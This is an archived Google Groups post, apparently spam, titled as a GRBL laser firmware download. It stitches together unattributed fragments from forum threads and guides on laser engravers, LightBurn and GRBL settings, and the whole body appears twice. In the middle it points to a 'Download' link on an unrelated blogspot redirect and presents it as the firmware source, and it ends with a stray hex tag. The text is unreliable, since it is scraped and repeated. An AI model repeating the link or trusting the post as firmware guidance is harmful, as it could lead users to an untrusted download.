Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss
Laser Grbl Firmware Download
294 views
Skip to first unread message
Shana Frear
Dec 29, 2023, 5:16:28 AM12/29/23
to
Speed: 10mm/sec
Power:50%
Depending on the image i can make this good or bad in a heart beat while burning the same image but with different settings in GIMP. 50% seems like a lot and it was burning normal at 20% prior to firmware so I was wondering if anyone had any idea on how to update this.
Got the F50 from the USA to India and the firmware shows up as "Simplelaser v1.1" on the GRBL software and the device doesn't pop up at all while trying to add it on Lightburn. I can however move the laser head using the buttons on the GRBL software and the motors work properly. The manual shows the device to be shipped with GRBL firmware only. I opened up the board enclosure and it has a Makerbase MKS LTS v1.1 board.
laser grbl firmware download
Download https://1cresarpoeho.blogspot.com/?xbw=2wYpro
Connect the laser as shown in the picture below.Connect the control board to the computer using the USB cable. Apply +12V voltage to the control board. You are ready to work.Enjoy photoengraving
Since both the spindle and laser are controlled by the PWM signal you should set something up external to the X-controller to select only the spindle or the laser when you have both attached to the X-carve.
PicSender is fully integrated with my version of grbl. Once you set up your grbl settings for the spindle and laser PicSender will automatically load in the correct set of values when you change from spindle to laser.
So I am looking at adding a laser to my repertoire ( I have it in the shopping cart ready to buy) What i am really wondering, is how difficult will it be to go back and forth to easel and the spindle? I use a DW611 router not on auto start so that part should not be a problem. I have had an x-carve for about 1 year now so it is the old controller and not the x-controller. I am not specifically code friendly but can figure it out if needs be. Just wondering how much of a headache it will be going back and forth or is it simple enough to just bite the bullet and make it happen?
First the easy way. If you use my version of grbl (free) and you use PicSender (about $25 for a license) then after you set up your grbl parameters for spindle and laser in PicSender you can switch back and forth by selecting one of two buttons in PicSender (spindle or laser). Once you have made the correct selection in PicSender you can go back to Easel and do your spindle work.
LarryM
So far as I understand it your version of grbl is going to work with Easel and PicSender, which takes care of 90% of my work but eventually I want to use something a little more fancy like a Vectric V-Carve Pro or Cut 3D. Will your grbl handle that too?
Now I am stuck in connecting the Laser to the RAMPS Board.
I have learned, the laser Needs a 12Volt Connection to be powered.
I would use the Connection to the heatbed, or a constant Connection direct from the power supply.
In Addition to that I have to connect the TTL PWM connector to the RAMPS board.
I have not found the Right Forum thread how this is done with GRBL and the RAMPS Board.
I understood that the OP is using RAMPS. I was just saying that since the firmware defaults were right when compiling for the Uno, the developers would also set proper default pin mappings when compiling for the 2560 (which the RAMPS runs on top of).
Grbl firmware was originally designed for CNC machines and 3D printers, with laser support added more recently. It is highly configurable, and this is both a blessing and a curse. The "standard" way a CNC machine is configured is somewhat different from the way laser machines often are. Luckily this is easy to change, and easy to switch from one to the other.
The more recent versions of Grbl (1.1f and up) support two things that are incredibly useful for lasers. The first is Laser Mode, enabled by setting $32=1 in the firmware settings. Laser mode eliminates the pauses that happen when changing power output, because Grbl knows it's controlling a laser which reacts instantly, instead of waiting for a spindle to change RPM.
The second is a feature called variable power mode, or the M4 command. In this mode, Grbl adjusts the laser power as the machine speeds up and slows down, making for very consistent cutting and marking. Older versions of Grbl do not have this feature, and simply run the laser at a constant power output for the duration of a cut. Since the machine needs to slow down to take sharp corners, this means corners get over-burnt, while long straight lines end up lighter.
This also has the benefit that when the laser comes to a complete stop, the beam turns off (zero speed equals zero power), meaning that pausing a job automatically turns off the laser. This is not always true with other versions of Grbl.
If you aren't already running Grbl 1.1f (or later) on your controller, we highly recommend it for laser use. If this isn't an option, that's ok, but your results won't be as good, and pausing the laser runs the risk of leaving the beam on and ruining the job.
Many GRBL based machines allow the settings of the machine to be easily exported or viewed. For advanced configuration like adding limit switches, updating firmware, or setting up a new controller, you'll need to interact with these values. LightBurn makes this easy to do by using the Console window or the Machine Settings window to copy, update, or reset your Machine Settings.
It is simple to set these up as macro buttons in the LightBurn console window. Enter the first command into a macro and call it "Use Laser", and enter the second command into a different macro and call it "Use CNC". When you want to use your laser, click the "User Laser" macro button, and when you're done and want to switch back to CNC, click the "Use CNC" button.
If you aren't sure how to configure your machine, there are some simple steps to take that can help. First, figure out which firmware you're running. In LightBurn, when you first connect to the machine, the console window will usually show a 'hello' message from the controller. For Smoothieware boards it's just "Smoothie". For Grbl, it will be "Grbl 1.1f [$ for help]" or similar - this tells you it's Grbl, and which version. Machines using Grbl 1.1f or later will support the M4 variable power command, and just use the "Grbl" driver in LightBurn. Grbl 1.1e or older (Grbl 1.0, Grbl 0.9, etc) must use the Grbl-M3 device in LightBurn.
As of LightBurn 1.2.02, we do not support uploading GCode to the XTool family of lasers via Wi-Fi. The upload mechanism is significantly different than that of the currently supported methods, and that development hasn't yet been completed. Thank you for understanding.
after receiving the engraver I purchased another Laser Module, while installing the new module into LaserGRBL program it asked if I wished to update firmware, fool that I am, I thought yes of course I want the newest and bestest firmware though after this silly move the system is not functioning in the manner it had in the past, the "X" & "Y" axises are still proper, but the Laser if all attached comes on when I pull in the machine the LaserGRBL control panel doesn't stop it, and I have not method of turning it off except by pulling the plug, I am asking if anyone has in fact had anything similarly happen to them and what was the remedy that helped, I tried other alternatives with no success.
QUOTELAWRENCE:
after receiving the engraver I purchased another Laser Module, while installing the new module into LaserGRBL program it asked if I wished to update firmware, fool that I am, I thought yes of course I want the newest and bestest firmware though after this silly move the system is not functioning in the manner it had in the past, the "X" & "Y" axises are still proper, but the Laser if all attached comes on when I pull in the machine the LaserGRBL control panel doesn't stop it, and I have not method of turning it off except by pulling the plug, I am asking if anyone has in fact had anything similarly happen to them and what was the remedy that helped, I tried other alternatives with no success.
In most newer models, the ATMega328 has been replaced by an ESP32 chip. This chip is much faster and offers WLAN and Bluetooth functionality, among other things. The ESP32 chip requires a different firmware, so another section is created for it below. However, within this firmware a port of the original grbl implementation is still used, so there is usually no difference from a usage perspective.
If you need to make custom modifications to the firmware, you need to compile it using the Arduino IDE. The way how to do it is explained on the grbl wiki ( -Grbl). If you have a standard setup, you can select the already compiled versions provided with LaserGRBL.
The update process is the same as with all 32bit boards (see respective sections), you can use either the MKS or Sculpfun upload tool. The only thing you need to be aware of is that there are two versions of the mainboard available and the firmware needs to be selected appropriately. Check the version on the mainboard and then download the correct version:
Saving settings is important once you flash the firmware, since some values might be reset to factory settings while flashing. It is even recommended to reset to factory defaults after flashing and then replace changed values by your backup.
If you just want to upgrade to the latest available grbl firmware, you can use precompiled firmware images (.hex files) that are delivered with LaserGRBL. You even have two options available, either if you have a standard setup without end stops or if you have end stops and can use automatic homing. More information at the LaserGRBL firmware flash page.
There is a small tool, XLoader, which can be used to upload the hex files without any other tools. I have prepared an archive here that already contains the correct firmware: Download XLoader. With this, you can upload the firmware directly. The firmware file and the COM port must still be selected accordingly.
Since I am used to compiling my own firmware via Arduino IDE, PlatformIO or just command line, I normally use this process. The process to prepare the firmware and upload it to the controller is described very well at the grbl homepage: Compiling grbl
35fe9a5643
Power:50%
Depending on the image i can make this good or bad in a heart beat while burning the same image but with different settings in GIMP. 50% seems like a lot and it was burning normal at 20% prior to firmware so I was wondering if anyone had any idea on how to update this.
Got the F50 from the USA to India and the firmware shows up as "Simplelaser v1.1" on the GRBL software and the device doesn't pop up at all while trying to add it on Lightburn. I can however move the laser head using the buttons on the GRBL software and the motors work properly. The manual shows the device to be shipped with GRBL firmware only. I opened up the board enclosure and it has a Makerbase MKS LTS v1.1 board.
laser grbl firmware download
Download https://1cresarpoeho.blogspot.com/?xbw=2wYpro
Connect the laser as shown in the picture below.Connect the control board to the computer using the USB cable. Apply +12V voltage to the control board. You are ready to work.Enjoy photoengraving
Since both the spindle and laser are controlled by the PWM signal you should set something up external to the X-controller to select only the spindle or the laser when you have both attached to the X-carve.
PicSender is fully integrated with my version of grbl. Once you set up your grbl settings for the spindle and laser PicSender will automatically load in the correct set of values when you change from spindle to laser.
So I am looking at adding a laser to my repertoire ( I have it in the shopping cart ready to buy) What i am really wondering, is how difficult will it be to go back and forth to easel and the spindle? I use a DW611 router not on auto start so that part should not be a problem. I have had an x-carve for about 1 year now so it is the old controller and not the x-controller. I am not specifically code friendly but can figure it out if needs be. Just wondering how much of a headache it will be going back and forth or is it simple enough to just bite the bullet and make it happen?
First the easy way. If you use my version of grbl (free) and you use PicSender (about $25 for a license) then after you set up your grbl parameters for spindle and laser in PicSender you can switch back and forth by selecting one of two buttons in PicSender (spindle or laser). Once you have made the correct selection in PicSender you can go back to Easel and do your spindle work.
LarryM
So far as I understand it your version of grbl is going to work with Easel and PicSender, which takes care of 90% of my work but eventually I want to use something a little more fancy like a Vectric V-Carve Pro or Cut 3D. Will your grbl handle that too?
Now I am stuck in connecting the Laser to the RAMPS Board.
I have learned, the laser Needs a 12Volt Connection to be powered.
I would use the Connection to the heatbed, or a constant Connection direct from the power supply.
In Addition to that I have to connect the TTL PWM connector to the RAMPS board.
I have not found the Right Forum thread how this is done with GRBL and the RAMPS Board.
I understood that the OP is using RAMPS. I was just saying that since the firmware defaults were right when compiling for the Uno, the developers would also set proper default pin mappings when compiling for the 2560 (which the RAMPS runs on top of).
Grbl firmware was originally designed for CNC machines and 3D printers, with laser support added more recently. It is highly configurable, and this is both a blessing and a curse. The "standard" way a CNC machine is configured is somewhat different from the way laser machines often are. Luckily this is easy to change, and easy to switch from one to the other.
The more recent versions of Grbl (1.1f and up) support two things that are incredibly useful for lasers. The first is Laser Mode, enabled by setting $32=1 in the firmware settings. Laser mode eliminates the pauses that happen when changing power output, because Grbl knows it's controlling a laser which reacts instantly, instead of waiting for a spindle to change RPM.
The second is a feature called variable power mode, or the M4 command. In this mode, Grbl adjusts the laser power as the machine speeds up and slows down, making for very consistent cutting and marking. Older versions of Grbl do not have this feature, and simply run the laser at a constant power output for the duration of a cut. Since the machine needs to slow down to take sharp corners, this means corners get over-burnt, while long straight lines end up lighter.
This also has the benefit that when the laser comes to a complete stop, the beam turns off (zero speed equals zero power), meaning that pausing a job automatically turns off the laser. This is not always true with other versions of Grbl.
If you aren't already running Grbl 1.1f (or later) on your controller, we highly recommend it for laser use. If this isn't an option, that's ok, but your results won't be as good, and pausing the laser runs the risk of leaving the beam on and ruining the job.
Many GRBL based machines allow the settings of the machine to be easily exported or viewed. For advanced configuration like adding limit switches, updating firmware, or setting up a new controller, you'll need to interact with these values. LightBurn makes this easy to do by using the Console window or the Machine Settings window to copy, update, or reset your Machine Settings.
It is simple to set these up as macro buttons in the LightBurn console window. Enter the first command into a macro and call it "Use Laser", and enter the second command into a different macro and call it "Use CNC". When you want to use your laser, click the "User Laser" macro button, and when you're done and want to switch back to CNC, click the "Use CNC" button.
If you aren't sure how to configure your machine, there are some simple steps to take that can help. First, figure out which firmware you're running. In LightBurn, when you first connect to the machine, the console window will usually show a 'hello' message from the controller. For Smoothieware boards it's just "Smoothie". For Grbl, it will be "Grbl 1.1f [$ for help]" or similar - this tells you it's Grbl, and which version. Machines using Grbl 1.1f or later will support the M4 variable power command, and just use the "Grbl" driver in LightBurn. Grbl 1.1e or older (Grbl 1.0, Grbl 0.9, etc) must use the Grbl-M3 device in LightBurn.
As of LightBurn 1.2.02, we do not support uploading GCode to the XTool family of lasers via Wi-Fi. The upload mechanism is significantly different than that of the currently supported methods, and that development hasn't yet been completed. Thank you for understanding.
after receiving the engraver I purchased another Laser Module, while installing the new module into LaserGRBL program it asked if I wished to update firmware, fool that I am, I thought yes of course I want the newest and bestest firmware though after this silly move the system is not functioning in the manner it had in the past, the "X" & "Y" axises are still proper, but the Laser if all attached comes on when I pull in the machine the LaserGRBL control panel doesn't stop it, and I have not method of turning it off except by pulling the plug, I am asking if anyone has in fact had anything similarly happen to them and what was the remedy that helped, I tried other alternatives with no success.
QUOTELAWRENCE:
after receiving the engraver I purchased another Laser Module, while installing the new module into LaserGRBL program it asked if I wished to update firmware, fool that I am, I thought yes of course I want the newest and bestest firmware though after this silly move the system is not functioning in the manner it had in the past, the "X" & "Y" axises are still proper, but the Laser if all attached comes on when I pull in the machine the LaserGRBL control panel doesn't stop it, and I have not method of turning it off except by pulling the plug, I am asking if anyone has in fact had anything similarly happen to them and what was the remedy that helped, I tried other alternatives with no success.
In most newer models, the ATMega328 has been replaced by an ESP32 chip. This chip is much faster and offers WLAN and Bluetooth functionality, among other things. The ESP32 chip requires a different firmware, so another section is created for it below. However, within this firmware a port of the original grbl implementation is still used, so there is usually no difference from a usage perspective.
If you need to make custom modifications to the firmware, you need to compile it using the Arduino IDE. The way how to do it is explained on the grbl wiki ( -Grbl). If you have a standard setup, you can select the already compiled versions provided with LaserGRBL.
The update process is the same as with all 32bit boards (see respective sections), you can use either the MKS or Sculpfun upload tool. The only thing you need to be aware of is that there are two versions of the mainboard available and the firmware needs to be selected appropriately. Check the version on the mainboard and then download the correct version:
Saving settings is important once you flash the firmware, since some values might be reset to factory settings while flashing. It is even recommended to reset to factory defaults after flashing and then replace changed values by your backup.
If you just want to upgrade to the latest available grbl firmware, you can use precompiled firmware images (.hex files) that are delivered with LaserGRBL. You even have two options available, either if you have a standard setup without end stops or if you have end stops and can use automatic homing. More information at the LaserGRBL firmware flash page.
There is a small tool, XLoader, which can be used to upload the hex files without any other tools. I have prepared an archive here that already contains the correct firmware: Download XLoader. With this, you can upload the firmware directly. The firmware file and the COM port must still be selected accordingly.
Since I am used to compiling my own firmware via Arduino IDE, PlatformIO or just command line, I normally use this process. The process to prepare the firmware and upload it to the controller is described very well at the grbl homepage: Compiling grbl
35fe9a5643
0 new messages